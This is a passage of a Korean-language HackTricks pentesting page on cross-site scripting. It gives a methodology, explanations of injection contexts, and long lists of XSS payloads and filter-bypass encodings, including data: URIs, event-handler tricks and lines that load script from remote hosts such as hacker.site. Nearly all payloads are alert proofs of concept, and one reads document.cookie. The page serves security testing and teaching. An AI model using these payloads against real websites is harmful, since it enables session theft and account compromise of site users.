hacktricks/pentesting-web/xss-cross-site-scripting
2024-04-15 03:58:41 +00:00
..
abusing-service-workers.md GitBook: No commit message 2024-04-06 18:36:54 +00:00
chrome-cache-to-xss.md Translated to Korean 2024-02-10 21:30:13 +00:00
debugging-client-side-js.md Translated to Korean 2024-02-10 21:30:13 +00:00
dom-clobbering.md Translated to Korean 2024-02-10 21:30:13 +00:00
dom-invader.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:25:26 +00:00
dom-xss.md Translated to Korean 2024-02-10 21:30:13 +00:00
iframes-in-xss-and-csp.md Translated to Korean 2024-02-10 21:30:13 +00:00
js-hoisting.md Translated to Korean 2024-02-10 21:30:13 +00:00
other-js-tricks.md GitBook: No commit message 2024-04-06 18:36:54 +00:00
pdf-injection.md Translated to Korean 2024-02-10 21:30:13 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-04-15 03:58:41 +00:00
server-side-xss-dynamic-pdf.md Translated to Korean 2024-02-10 21:30:13 +00:00
shadow-dom.md Translated to Korean 2024-02-10 21:30:13 +00:00
sniff-leak.md Translated to Korean 2024-02-10 21:30:13 +00:00
some-same-origin-method-execution.md Translated to Korean 2024-02-10 21:30:13 +00:00
steal-info-js.md Translated to Korean 2024-02-10 21:30:13 +00:00
xss-in-markdown.md Translated to Korean 2024-02-10 21:30:13 +00:00

XSS (Cross Site Scripting)

해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 채용 중입니다! (유창한 폴란드어 필수).

{% embed url="https://www.stmcyber.com/careers" %}

방법론

  1. 제어할 수 있는 값 (매개변수, 경로, 헤더?, 쿠키?)이 HTML에 반영되거나 JS 코드에서 사용되는지 확인합니다.
  2. 반영/사용되는 컨텍스트를 찾습니다.
  3. 반영된 경우
  4. 사용할 수 있는 기호를 확인하고, 이에 따라 payload를 준비합니다:
  5. 원시 HTML에서:
  6. 새 HTML 태그를 생성할 수 있습니까?
  7. javascript: 프로토콜을 지원하는 이벤트 또는 속성을 사용할 수 있습니까?
  8. 보호 기능을 우회할 수 있습니까?
  9. HTML 콘텐츠가 클라이언트 측 JS 엔진(AngularJS, VueJS, Mavo...)에 의해 해석되는 경우 Client Side Template Injection을 악용할 수 있습니다.
  10. JS 코드를 실행하는 HTML 태그를 생성할 수 없는 경우 Dangling Markup - HTML scriptless injection을 악용할 수 있습니까?
  11. HTML 태그 내부에서:
  12. 원시 HTML 컨텍스트로 이동할 수 있습니까?
  13. JS 코드를 실행하는 새 이벤트/속성을 생성할 수 있습니까?
  14. 갇힌 속성이 JS 실행을 지원합니까?
  15. 보호 기능을 우회할 수 있습니까?
  16. JavaScript 코드 내부에서:
  17. <script> 태그를 이스케이프할 수 있습니까?
  18. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
  19. 입력이 템플릿 리터럴 ``에 있는지 확인하십니까?
  20. 보호 기능을 우회할 수 있습니까?
  21. 실행되는 Javascript 함수
  22. 실행할 함수의 이름을 지정할 수 있습니다. 예: ?callback=alert(1)
  23. 사용된 경우:
  24. DOM XSS를 악용할 수 있으며, 입력이 어떻게 제어되는지와 제어된 입력이 어떤 sink에서 사용되는지 주의 깊게 살펴보세요.

복잡한 XSS를 작업할 때 다음에 대해 알아두면 유용할 수 있습니다:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

반영된 값

XSS를 성공적으로 악용하려면 먼저 웹 페이지에서 반영되는 값을 찾아야 합니다.

  • 중간 반영: 매개변수의 값 또는 경로가 웹 페이지에 반영되는 것을 발견하면 Reflected XSS를 악용할 수 있습니다.
  • 저장 및 반영: 제어할 수 있는 값이 서버에 저장되고 페이지에 액세스할 때마다 반영되는 것을 발견하면 Stored XSS를 악용할 수 있습니다.
  • JS를 통해 액세스: 제어할 수 있는 값이 JS를 사용하여 액세스되는 것을 발견하면 DOM XSS를 악용할 수 있습니다.

컨텍스트

XSS를 악용하려고 할 때 먼저 알아야 할 것은 입력이 어디에 반영되는지입니다. 컨텍스트에 따라 다양한 방식으로 임의의 JS 코드를 실행할 수 있습니다.

원시 HTML

입력이 원시 HTML 페이지에 반영되는 경우 일부 HTML 태그를 악용하여 JS 코드를 실행해야 합니다: <img , <iframe , <svg , <script ... 이것은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.
또한 Client Side Template Injection을 염두에 두세요.

HTML 태그 속성 내부

입력이 태그의 속성 값 내부에 반영되는 경우 다음을 시도할 수 있습니다:

  1. 속성 및 태그에서 이스케이프하여(그럼 원시 HTML에 있게 됨) 새 HTML 태그를 악용: "><img [...]
  2. 속성에서 이스케이프하지만 태그에서 이스케이프하지 못하는 경우 (>가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 이벤트를 생성할 수 있습니다: " autofocus onfocus=alert(1) x="
  3. 속성에서 이스케이프할 수 없는 경우 ("가 인코딩되거나 삭제됨), 반영되는 속성에 따라 값을 완전히 제어하거나 일부만 제어하는 경우 악용할 수 있습니다. 예를 들어, onclick=과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 href 속성인데, javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
  4. 입력이 "악용할 수 없는 태그" 내부에 반영되는 경우 취약점을 악용하기 위해 accesskey 트릭을 시도할 수 있습니다 (이를 악용하려면 어떤 종류의 사회 공학이 필요합니다): " accesskey="x" onclick="alert(1)" x="

Angular가 클래스 이름을 제어하는 경우 이상한 XSS의 예:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript 코드 내부

이 경우에는 입력이 HTML 페이지의 <script> [...] </script> 태그 사이, .js 파일 내 또는 javascript: 프로토콜을 사용하여 속성 내부에 반영됩니다:

  • <script> [...] </script> 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 </script>를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 구문 분석한 다음 내용을 처리하기 때문에, 주입된 </script> 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다.
  • JS 문자열 내부에 반영되고 마지막 트릭이 작동하지 않는 경우 문자열을 종료하고 코드를 실행하고 JS 코드를 재구성해야 합니다 (오류가 있으면 실행되지 않음):
    • '-alert(1)-'
    • ';-alert(1)//
    • \';alert(1)//
  • 템플릿 리터럴 내에 반영된 경우 ${ ... } 구문을 사용하여 JS 표현식을 포함할 수 있습니다: var greetings = `Hello, ${alert(1)}`
  • 유니코드 인코딩을 사용하여 유효한 javascript 코드를 작성할 수 있습니다:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

자바스크립트 호이스팅

자바스크립트 호이스팅은 사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 가리킵니다. 이를 통해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.
자세한 정보는 다음 페이지를 확인하세요:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

자바스크립트 함수

여러 웹 페이지는 실행할 함수의 이름을 매개변수로 받는 엔드포인트를 가지고 있습니다. 일반적으로 볼 수 있는 예시는 ?callback=callbackFunc와 같습니다.

사용자로부터 직접 제공된 값이 실행되려고 하는지 확인하는 좋은 방법은 매개변수 값을 수정하여 콘솔에서 다음과 같은 오류를 찾는 것입니다:

취약하다면, 값으로 ?callback=alert(1)을 보내는 것만으로도 경고를 트리거할 수 있을 수 있습니다. 그러나 이러한 엔드포인트는 콘텐츠를 유효성 검사하여 문자, 숫자, 점 및 밑줄만 허용할 수 있도록 할 것입니다 ([\w\._]).

그러나 그 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 모든 요소에 액세스할 수 있기 때문입니다:

이를 위한 유용한 함수 몇 가지:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

당신은 직접 Javascript 함수를 트리거해 볼 수도 있습니다: obj.sales.delOrders.

그러나 보통 지정된 함수를 실행하는 엔드포인트는 DOM이 그다지 흥미로운 페이지가 아닙니다. 같은 출처의 다른 페이지는 더 많은 작업을 수행할 흥미로운 DOM을 가지고 있을 것입니다.

따라서 다른 DOM에서 이 취약점을 악용하기 위해 동일 출처 방법 실행 (SOME) 공격이 개발되었습니다:

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

공격자가 제어하는 데이터안전하게 사용하지 않는 JS 코드가 있습니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

이러한 종류의 XSS는 어디서나 발견될 수 있습니다. 이것들은 웹 애플리케이션의 클라이언트 공격뿐만 아니라 어떤 컨텍스트에서도 발생할 수 있습니다. 이러한 종류의 임의의 JavaScript 실행은 심지어 RCE를 얻거나 클라이언트 및 서버에서 임의의 파일을 읽는 등으로 악용될 수 있습니다.
일부 예시:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAF 우회 인코딩 이미지

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

원시 HTML 내부 삽입

당신의 입력이 HTML 페이지 내부에 반영되거나 이 문맥에서 HTML 코드를 탈출하고 삽입할 수 있는 경우, 첫 번째 해야 할 일은 <를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 문자를 반영하고 HTML 인코딩되었는지 또는 삭제되었는지 또는 변경 없이 반영되는지 확인해 보세요. 마지막 경우에만 이 케이스를 악용할 수 있을 것입니다.
이 경우에는 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

하지만, 태그/속성 블랙/화이트리스트가 사용되고 있다면, 생성할 수 있는 태그를 무차별 대입(brute-force) 해야 합니다.
허용된 태그를 찾은 후, 해당 유효한 태그 내에서 속성/이벤트를 무차별 대입(brute-force) 해야 합니다.

태그/이벤트 무차별 대입

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet로 이동하여 _Copy tags to clipboard_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 모든 이벤트를 무차별 대입(brute-force) 할 수 있습니다 (동일한 웹 페이지에서 _Copy events to clipboard_를 클릭하고 이전과 동일한 절차를 따릅니다).

사용자 정의 태그

유효한 HTML 태그를 찾지 못했다면, 사용자 정의 태그를 생성하고 onfocus 속성을 사용하여 JS 코드를 실행할 수 있습니다. XSS 요청에서 페이지가 해당 객체에 초점을 맞추고 코드를 실행하도록 URL을 #로 끝내야 합니다:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

블랙리스트 우회

만약 어떤 종류의 블랙리스트가 사용 중이라면 몇 가지 어리석은 트릭으로 우회해 볼 수 있습니다:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

길이 우회 (작은 XSSs)

{% hint style="info" %} 다양한 환경을 위한 더 작은 XSS payload는 여기여기에서 찾을 수 있습니다. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

마지막은 5개로 확장되는 2개의 유니코드 문자를 사용하는 것입니다: telsr
이러한 문자의 더 많은 정보는 여기에서 찾을 수 있습니다.
문자가 분해되는지 확인하려면 여기를 확인하십시오.

클릭 XSS - 클릭재킹

취약점을 악용하기 위해 사용자가 링크나 폼을 클릭해야 하는 경우 클릭재킹을 남용해 볼 수 있습니다(페이지가 취약한 경우).

불가능 - 떠다니는 마크업

HTML 태그를 사용하여 JS 코드를 실행하는 속성을 만들 수 없다고 생각한다면, 떠다니는 마크업을 확인해야 합니다. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 악용할 수 있기 때문입니다.

HTML 태그 내 삽입

태그 내부/속성 값에서 탈출

HTML 태그 내부에 있다면, 먼저 태그에서 탈출하고 이전 섹션에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행해 볼 수 있습니다.
태그에서 탈출할 수 없다면, 태그 내에 새로운 속성을 만들어 JS 코드를 실행해 보려고 시도할 수 있습니다. 예를 들어, 이 예제에서는 더블 쿼트를 사용하여 속성에서 탈출합니다(입력이 태그 내에 직접 반영되는 경우 더블 쿼트가 필요하지 않습니다):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

스타일 이벤트

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

속성 내부에서

속성에서 탈출할 수 없더라도 ("가 인코딩되거나 삭제됨) 제어하는 값이 전체인지 일부인지에 따라 해당 값이 반영된 어떤 속성에 따라 악용할 수 있습니다. 예를 들어, onclick=와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행시킬 수 있습니다.
또 다른 흥미로운 예시href 속성인데, 여기서 javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"

HTML 인코딩/URL 인코딩을 사용한 이벤트 내부 우회

HTML 태그 속성 값 내의 HTML 인코딩된 문자런타임에서 디코딩됩니다. 따라서 다음과 같은 것이 유효할 것입니다 (페이로드는 굵게 표시됨): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

어떤 종류의 HTML 인코딩이든 유효합니다:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL 인코딩도 작동합니다:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

유니코드 인코딩을 사용하여 내부 이벤트 우회

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

특수 프로토콜 속성 내부

거기에서는 일부 위치에서 임의의 JS 코드를 실행하기 위해 javascript: 또는 data: 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로 할 수 있고 일부는 그렇지 않을 수 있습니다.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

이러한 프로토콜을 삽입할 수 있는 위치

일반적으로 javascript: 프로토콜은 href 속성을 허용하는 모든 태그에서 사용할 수 있으며, 대부분의 태그에서는 src 속성을 허용하지만 (<img 제외)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

다른 난독화 트릭

이 경우에는 이전 섹션에서 사용한 HTML 인코딩 및 유니코드 인코딩 트릭도 속성 내부에 있기 때문에 유효합니다.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

또 다른 좋은 속임수가 있습니다: javascript:... 내부의 입력이 URL 인코딩되어 있더라도, 실행되기 전에 URL 디코딩됩니다. 따라서 문자열에서 단일 인용부호를 사용하여 탈출해야 하는 경우 URL 인코딩되어 있는 것을 보더라도, 중요하지 않습니다. 실행 시간에는 단일 인용부호해석될 것입니다.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

참고로, URLencode + HTMLencode어떤 순서로든 사용하여 페이로드를 인코딩하려고 하면 작동하지 않을 것이지만, 페이로드 내에서 둘을 혼합할 수 있습니다.

javascript:와 함께 16진수 및 8진수 인코딩 사용

iframesrc 속성 내에서 16진수8진수 인코딩을 사용하여 JS를 실행할 HTML 태그를 선언할 수 있습니다:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

역 탭 네빙

<a target="_blank" rel="opener"

만약 임의의 <a href= 태그에 target="_blank"와 rel="opener" 속성이 포함된 URL을 삽입할 수 있다면, 이 동작을 악용하기 위해 다음 페이지를 확인하십시오:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

on 이벤트 핸들러 우회

우선 유용한 "on" 이벤트 핸들러에 대해 이 페이지(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)를 확인하십시오.
이벤트 핸들러를 생성하는 데 제한을 두는 블랙리스트가 있는 경우 다음 우회 방법을 시도할 수 있습니다:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

"Unexploitable tags"에서의 XSS (숨겨진 입력, 링크, 캐노니컬, 메타)

여기 에서 숨겨진 입력을 악용하는 것이 이제 가능합니다:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

그리고 메타 태그에서:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

여기에서: 피해자설득하여 키 조합을 누르도록 유도하면 숨겨진 속성 내에서 XSS 페이로드를 실행할 수 있습니다. Firefox Windows/Linux에서 키 조합은 ALT+SHIFT+X이며 OS X에서는 CTRL+ALT+X입니다. 다른 키를 access key 속성에 사용하여 다른 키 조합을 지정할 수 있습니다. 다음은 벡터입니다:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS 페이로드는 다음과 같을 것입니다: " accesskey="x" onclick="alert(1)" x="

블랙리스트 우회

이 섹션에서 이미 다양한 인코딩을 사용한 여러 트릭이 노출되었습니다. 다음 위치에서 사용할 수 있는 곳을 배우러 돌아가세요:

  • HTML 인코딩 (HTML 태그)
  • 유니코드 인코딩 (유효한 JS 코드가 될 수 있음): \u0061lert(1)
  • URL 인코딩
  • 16진수 및 8진수 인코딩
  • 데이터 인코딩

HTML 태그 및 속성 우회

이전 섹션의 블랙리스트 우회를 읽으세요.

JavaScript 코드 우회

다음 섹션의 자바스크립트 블랙리스트 우회 기술를 읽으세요.

CSS-가젯

웹의 매우 작은 부분에서 XSS를 발견했다면 (아마도 푸터의 작은 링크에 onmouseover 요소가 있는 경우), 해당 요소가 차지하는 공간을 수정하여 링크가 실행될 확률을 극대화할 수 있습니다.

예를 들어, 다음과 같이 요소에 스타일을 추가할 수 있습니다: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

그러나 WAF가 스타일 속성을 필터링하는 경우 CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어 다음과 같은 것을 찾았다면

.test {display:block; color: blue; width: 100%}

그리고

#someid {top: 0; font-family: Tahoma;}

이제 링크를 수정하고 다음과 같은 형태로 가져올 수 있습니다

<a href="" id=someid class=test onclick=alert() a="">

이 요령은 https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703에서 가져온 것입니다.

JavaScript 코드 내 삽입

이 경우 입력.js 파일이나 <script>...</script> 태그 사이 또는 JS 코드를 실행할 수 있는 HTML 이벤트 사이 또는 javascript: 프로토콜을 허용하는 속성 사이의 JS 코드 내에 반영될 것입니다.

<script> 태그 이스케이핑

코드가 <script> [...] var input = 'reflected data' [...] </script> 내에 삽입된 경우